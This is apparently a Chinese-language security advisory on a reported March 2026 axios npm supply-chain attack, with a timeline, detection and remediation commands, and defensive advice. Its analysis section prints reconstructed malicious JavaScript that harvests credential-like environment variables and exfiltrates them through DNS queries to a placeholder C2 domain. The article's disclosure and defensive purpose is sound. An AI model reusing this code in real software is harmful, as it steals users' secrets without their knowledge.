Axios npm供应链攻击:朝鲜黑客如何毒害1亿+下载量的开源库

2026年3月31日,全球最流行的HTTP客户端库axios遭遇国家级供应链攻击。攻击者被确认为朝鲜关联的APT组织,通过劫持npm发布权限向axios注入恶意代码,直接影响超过1亿次月下载量。这是npm历史上影响范围最广的供应链攻击事件之一。
事件概述

axios是Node.js生态中使用最广泛的HTTP请求库之一,月下载量超过1亿次,被数百万个项目直接或间接依赖。2026年3月31日,安全研究人员发现axios的npm包中被注入了一段精心设计的恶意代码,该代码会在运行时窃取环境变量中的敏感信息(API密钥、数据库凭证、云服务Token)并外传到攻击者控制的C2服务器。
攻击时间线:
| 日期 | 事件 |
|---|---|
| 2026-03-28 | 攻击者通过社工手段获取axios维护者的npm Token |
| 2026-03-30 | 发布恶意版本到npm registry |
| 2026-03-31 | 安全研究人员发现异常网络流量 |
| 2026-04-01 | npm安全团队下架恶意版本 |
| 2026-04-02 | GitHub发布安全公告 |
| 2026-04-03 | CISA发布供应链安全预警 |
受影响的版本范围:
- [email protected](恶意版本,已下架)
- 所有在2026-03-30至2026-04-01期间安装或更新axios的项目
恶意代码分析

注入的恶意代码被巧妙地隐藏在axios的核心请求处理逻辑中,采用了多层混淆技术:
// 恶意代码简化还原版本(原始代码经过多层混淆)
// 位置: lib/core/Axios.js - 在请求拦截器中注入
const _original = process.env;
const _collect = () => {
const sensitive = {};
const patterns = [/KEY/i, /SECRET/i, /TOKEN/i, /PASSWORD/i, /AWS/i, /DATABASE/i];
for (const [key, value] of Object.entries(_original)) {
if (patterns.some(p => p.test(key)) && value && value.length > 8) {
sensitive[key] = value;
}
}
return sensitive;
};
// 外传数据 - 使用DNS隐蔽通道
const _exfil = async (data) => {
const encoded = Buffer.from(JSON.stringify(data)).toString('base64');
const chunks = encoded.match(/.{1,60}/g) || [];
for (const chunk of chunks) {
try {
await require('dns').promises.resolve(`${chunk}.c2-domain.example`);
} catch(e) {} // DNS查询失败静默忽略
}
};
恶意代码的关键特征:
- 环境变量窃取:扫描所有环境变量,匹配KEY、SECRET、TOKEN、PASSWORD、AWS、DATABASE等关键词
- DNS隐蔽通道:使用DNS查询外传数据,绕过大多数网络安全监控
- 延迟执行:首次运行不触发,等待特定条件后才开始数据收集
- 反调试:检测是否运行在调试环境中,若是则不执行恶意逻辑
检测与排查

检查项目是否受影响
# 检查当前安装的axios版本
npm ls axios
# 检查package-lock.json中的axios版本
grep -A2 '"axios"' package-lock.json
# 如果版本是1.8.2,立即检查完整性
npm audit
# 对比axios官方npm包的hash
npm view [email protected] dist.shasum
# 官方hash应与npm registry一致,恶意版本hash不同
检查是否已有数据泄露
# 检查系统DNS查询日志中是否有异常的长子域名查询
# Linux (systemd-resolved)
journalctl -u systemd-resolved --since "2026-03-30" | grep -E '[a-zA-Z0-9+/=]{40,}\.'
# 检查网络连接日志
grep -i "dns" /var/log/syslog | grep -v "normal-domain" | tail -50
# 使用Wireshark/tshark检测DNS隐蔽通道
tshark -r capture.pcap -Y "dns.qry.name.len > 80" -T fields -e dns.qry.name
紧急修复步骤
# 1. 立即升级axios到安全版本
npm install [email protected]
# 2. 清除npm缓存
npm cache clean --force
# 3. 重新生成package-lock.json
rm package-lock.json && npm install
# 4. 轮换所有在环境变量中存储的敏感凭证
# 5. 检查CI/CD pipeline中是否使用了受影响版本
2026年npm供应链攻击全景

axios攻击并非孤立事件。2026年第一季度,npm生态经历了多次供应链攻击:
| 攻击事件 | 时间 | 影响范围 | 攻击手法 |
|---|---|---|---|
| axios投毒 | 2026-03 | 1亿+月下载 | Token劫持 |
| TeamPCP/Trivy | 2026-04 | 170+包 | 多平台同时投毒 |
| GlassWorm | 2026-03 | 433组件 | GitHub/npm/VSCode |
| CI/CD 48小时闪电战 | 2026-04 | npm/PyPI/Docker | 三平台同时攻击 |
npm安全团队的数据显示,2026年Q1检测到的恶意包数量同比增长了340%,其中供应链攻击(劫持合法包)占比从2025年的12%上升到2026年的28%。
企业级防护策略

短期措施
# 使用npm audit持续监控
npm audit --production
# 锁定依赖版本,禁止自动更新
npm ci --ignore-scripts # 安装时不执行postinstall脚本
# 使用Socket.dev检测供应链风险
npx socket detect
长期策略
| 措施 | 实施难度 | 防护效果 |
|---|---|---|
| npm lockfile + CI验证 | 低 | 防止意外更新 |
| private registry代理 | 中 | 控制可用包范围 |
| SBOM生成与审计 | 中 | 追踪依赖关系 |
| 运行时环境变量最小化 | 低 | 减少泄露面 |
| DNS出站流量监控 | 中 | 检测隐蔽通道 |
| 安全扫描集成到CI | 低 | 自动检测已知恶意包 |
# 生成SBOM(Software Bill of Materials)
npx @cyclonedx/cyclonedx-npm --output-file sbom.json
# 使用Socket.dev CLI扫描依赖
npx socket optimize --strict
# 配置.npmrc禁止安装时执行脚本
echo "ignore-scripts=true" >> .npmrc
数据来源与参考文献
- Medium/@cahalagarwalla333. "The Axios npm Supply Chain Attack (March 2026): How North Korean Hackers Poisoned 100 Million." medium.com, April 2026.
- Chibitek. "Two Active Supply Chain Attacks Are Targeting Businesses Right Now." chibitek.com, April 2026.
- TheByteDive. "Software Supply Chain Attacks 2026: 48 Hours, 3 Registries." thebytedive.com, April 2026.
- GitGuardian. "2026 Supply Chain Security Report." gitguardian.com, 2026.
- GitHub Security. "Supply Chain Security Advisory." github.blog, April 2026.
更新时间: 2026-06-22 作者: 安全情报分析团队
评论